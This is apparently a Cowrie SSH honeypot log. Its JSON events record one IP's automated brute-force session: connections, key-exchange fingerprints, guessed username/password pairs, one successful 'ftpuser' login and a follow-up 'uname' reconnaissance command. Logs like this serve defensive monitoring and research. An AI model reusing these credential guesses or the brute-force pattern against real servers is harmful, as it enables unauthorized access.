{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:36.700059Z","src_ip":"192.109.200.78","session":"d4d0e92f9682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40604,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc76221f3e72","protocol":"ssh","message":"New connection: 192.109.200.78:40604 (10.17.0.5:22) [session: dc76221f3e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:38.723236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:38.727523Z","src_ip":"192.109.200.78","session":"dc76221f3e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:38.809497Z","src_ip":"192.109.200.78","session":"dc76221f3e72","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:39.054475Z","src_ip":"192.109.200.78","session":"dc76221f3e72","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:39.249981Z","src_ip":"192.109.200.78","session":"dc76221f3e72","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:39.252762Z","src_ip":"192.109.200.78","session":"dc76221f3e72","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:39.336830Z","src_ip":"192.109.200.78","session":"dc76221f3e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:39.340636Z","src_ip":"192.109.200.78","session":"dc76221f3e72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59852,"dst_ip":"10.17.0.5","dst_port":22,"session":"99c7afddc337","protocol":"ssh","message":"New connection: 192.109.200.78:59852 (10.17.0.5:22) [session: 99c7afddc337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:42.170988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:42.175615Z","src_ip":"192.109.200.78","session":"99c7afddc337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:42.256316Z","src_ip":"192.109.200.78","session":"99c7afddc337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:42.638938Z","src_ip":"192.109.200.78","session":"99c7afddc337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:43.721761Z","src_ip":"192.109.200.78","session":"99c7afddc337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59864,"dst_ip":"10.17.0.5","dst_port":22,"session":"737d08e51ab4","protocol":"ssh","message":"New connection: 192.109.200.78:59864 (10.17.0.5:22) [session: 737d08e51ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:45.837273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:45.844720Z","src_ip":"192.109.200.78","session":"737d08e51ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:45.927461Z","src_ip":"192.109.200.78","session":"737d08e51ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:46.174008Z","src_ip":"192.109.200.78","session":"737d08e51ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:47.259197Z","src_ip":"192.109.200.78","session":"737d08e51ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59880,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a57d3e9a8b0","protocol":"ssh","message":"New connection: 192.109.200.78:59880 (10.17.0.5:22) [session: 2a57d3e9a8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:49.288573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:49.292313Z","src_ip":"192.109.200.78","session":"2a57d3e9a8b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:49.372782Z","src_ip":"192.109.200.78","session":"2a57d3e9a8b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"raspberry","message":"login attempt [teamspeak/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:49.618964Z","src_ip":"192.109.200.78","session":"2a57d3e9a8b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:50.702355Z","src_ip":"192.109.200.78","session":"2a57d3e9a8b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33828,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2713054f257","protocol":"ssh","message":"New connection: 192.109.200.78:33828 (10.17.0.5:22) [session: f2713054f257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:52.718353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:52.722981Z","src_ip":"192.109.200.78","session":"f2713054f257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:52.802746Z","src_ip":"192.109.200.78","session":"f2713054f257","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"modzmodz","message":"login attempt [root/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:53.103384Z","src_ip":"192.109.200.78","session":"f2713054f257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:54.185268Z","src_ip":"192.109.200.78","session":"f2713054f257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33836,"dst_ip":"10.17.0.5","dst_port":22,"session":"07fffa658875","protocol":"ssh","message":"New connection: 192.109.200.78:33836 (10.17.0.5:22) [session: 07fffa658875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:56.375572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:56.378866Z","src_ip":"192.109.200.78","session":"07fffa658875","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:56.459293Z","src_ip":"192.109.200.78","session":"07fffa658875","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:56.700748Z","src_ip":"192.109.200.78","session":"07fffa658875","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:57.783627Z","src_ip":"192.109.200.78","session":"07fffa658875","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33842,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd3f0cf659f6","protocol":"ssh","message":"New connection: 192.109.200.78:33842 (10.17.0.5:22) [session: fd3f0cf659f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:59.799257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:59.806381Z","src_ip":"192.109.200.78","session":"fd3f0cf659f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:04:59.887511Z","src_ip":"192.109.200.78","session":"fd3f0cf659f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:00.134581Z","src_ip":"192.109.200.78","session":"fd3f0cf659f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:01.349411Z","src_ip":"192.109.200.78","session":"fd3f0cf659f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56738,"dst_ip":"10.17.0.5","dst_port":22,"session":"abf082f63e40","protocol":"ssh","message":"New connection: 192.109.200.78:56738 (10.17.0.5:22) [session: abf082f63e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:03.280120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:03.284752Z","src_ip":"192.109.200.78","session":"abf082f63e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:03.367486Z","src_ip":"192.109.200.78","session":"abf082f63e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:03.618100Z","src_ip":"192.109.200.78","session":"abf082f63e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:05:04.703247Z","src_ip":"192.109.200.78","session":"abf082f63e40","protocol":"ssh"}
